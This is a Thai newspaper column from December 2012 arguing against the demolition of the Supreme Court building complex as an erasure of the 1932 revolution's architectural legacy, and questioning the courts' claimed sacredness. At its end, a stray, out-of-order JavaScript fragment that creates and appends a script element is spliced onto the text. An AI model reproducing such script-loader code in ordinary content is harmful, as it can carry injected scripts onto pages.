มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 27 ธันวาคม 2555

 

          พลังอนุรักษนิยม ตั้งแต่หลังรัฐประหาร 2490 ต่อเนื่องถึงหลังรัฐประหาร 2500 ส่งผลให้เกิดประวัติศาสตร์แห่งชาติขึ้นใหม่ในแนวทาง

          “สร้างให้จำ ทำให้ลืม”

          สร้างให้จำ ประวัติศาสตร์ราชวงศ์และสงคราม

          ทำให้ลืม ประวัติศาสตร์คณะราษฎร เปลี่ยนแปลงการปกครอง 2475 จากราชาธิปไตยสู่ประชาธิปไตย

          กลุ่มอาคารศาลฎีกา เป็นสถาปัตย์คณะราษฎร สะท้อนอุดมคติเรื่องความเสมอภาค อันเป็นหลักสำคัญ 1 ใน 6 อย่างของคณะราษฎร (มีรายละเอียดอยู่ในข้อเขียนของ อ. ชาตรี ประกิตนนทการ ที่พิมพ์ในคอลัมน์สุวรรณภูมิฯ ฉบับวันนี้)

          ย่อมไม่ใช่เรื่องประหลาดที่จะต้องถูกทำให้ลืมด้วยวิธีใดวิธีหนึ่ง เช่น รื้อทิ้งไป

          กรมศิลปากร ควรได้รับยกย่องอย่างสูงยิ่งในกรณีทางการจะรื้อกลุ่มอาคารศาลฎีกา เพราะคัดค้านการรื้อมาแต่แรก ตั้งแต่หลายปีมาแล้วจนปัจจุบัน (มีรายงานข่าวใน กรุงเทพธุรกิจ ฉบับวันอาทิตย์ 23 ธ.ค. 2555 หน้า 1)

          แล้วพยายามให้ความร่วมมือแสวงหาทางออกโดยไม่ทำลายหลักฐานประวัติศาสตร์ ขณะเดียวกันก็สนองความต้องการของ ก. ยุติธรรมด้วย

          แต่แล้วก็มีปัญหาดังมีข่าวเป็นที่รู้กันแพร่หลายว่าทางเจ้าหน้าที่ไม่ได้ส่งแบบปรับปรุงอาคารศาลฎีกาให้กรมศิลปากรพิจารณาตามที่ตกลงกัน ซึ่งโดยทั่วไปไม่มีใครกล้าพูดถึง เพราะกลัวความศักดิ์สิทธิ์และกลัวอำนาจศาล

          “ตอนนี้ไม่มีใครกล้าทำอะไร เพราะกลัวอำนาจศาล แม้แต่คณะกรรมการอนุรักษ์กรุงรัตนโกสินทร์ที่ทำหน้าที่ทัดทานก็ยังไม่กล้า ซึ่งก็สมควรลาออกทั้งคณะ และผมเองก็จะลาออกหากรักษามรดกของกรุงรัตนโกสินทร์เอาไว้ไม่ได้” นายสุวิชญ์ รัศมิภูติ อดีตอธิบดีกรมศิลปากร ที่คัดค้านการรื้ออาคารศาลฎีกามาแต่แรก กล่าวกับกรุงเทพธุรกิจ

          “ความ ‘ศักดิ์สิทธิ์’ ของศาล เพิ่งสร้างขึ้นไม่นานมานี้เอง หาได้เป็นมรดกตกทอดมาจากยุคโบราณไม่”

          อ. นิธิ เอียวศรีวงศ์ บอกไว้ในข้อเขียนเรื่องศาลเจ้า (มติชนสุดสัปดาห์ 6 ก.ค. 2555) แล้วบอกอีกว่าความศักดิ์สิทธิ์ที่ถูกสร้างขึ้น ก็เพื่อทำให้พ้นจากการถูกตรวจสอบตามระบอบประชาธิปไตย

          กรณีรื้อกลุ่มอาคารศาลฎีกาเป็นหนึ่งในปัญหาทางวัฒนธรรมในไทยที่ถูกละเมิดตั้งแต่แรกมีกฎหมายโบราณสถานฯ ไม่เว้นแม้หน่วยราชการใน ก. วัฒนธรรมเองก็ละเมิด ซึ่งทำให้กรมศิลปากรอยู่ในภาวะเหมือนถูกภูเขาทับอกตกเป็นจำเลยอย่างไม่ควรเป็น เพราะสังคมจ้องมอง ขณะที่ราชการด้วยกันมีอิทธิพลทางวัฒนธรรมที่ประเทศชาติและประชาชนต้องยอมจำนนเสียสละให้มาตลอด

          แล้วจะต้องเสียสละอาคารโบราณสถานสถาปัตย์คณะราษฎรอีกหรือ? สังคมจะพึ่งใคร? ที่ไหน?

          ในคำนำหนังสือ พิพากษ์ศาล (สำนักพิมพ์มติชน รวมพิมพ์เมื่อกันยายน 2555) อ. นิธิเขียนบอกไว้อีกว่า

          “เคยเชื่อกันมาในสังคมว่าศาลคือที่พึ่งสุดท้าย เหตุที่เชื่อเช่นนั้นก็เพราะศาลไม่ได้อยู่ในการเมืองหลังม่าน

          จริงอยู่ศาลก็เป็นคน ย่อมตกอยู่ภายใต้ภยาคติได้ในบางครั้งบางคราว แต่ศาลไม่ได้เป็นส่วนหนึ่งของความขัดแย้งทางการเมืองหลังม่าน

          จะเป็นความจริงหรือไม่ก็ไม่ทราบได้ แต่ศาลในปัจจุบันถูกมองว่าเป็นส่วนหนึ่งของการต่อสู้ทางการเมืองหลังม่าน ลัทธิตุลาการภิวัตน์ยิ่งตอกย้ำให้คนจำนวนมากเชื่อว่า ศาลยืนอยู่ฝ่ายใดฝ่ายหนึ่งในการต่อสู้ทางการเมืองหลังม่าน

          ฉะนั้น ศาลจึงไม่ใช่ที่พึ่งสุดท้ายอีกต่อไป แต่ถูกคนจำนวนไม่น้อยมองว่าเป็นหนึ่งในคู่ความขัดแย้ง”

          นี่จะรวมถึงกรณีสร้างให้จำ ทำให้ลืม สถาปัตย์คณะราษฎรด้วยหรือไม่? ใครจะรู้?d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);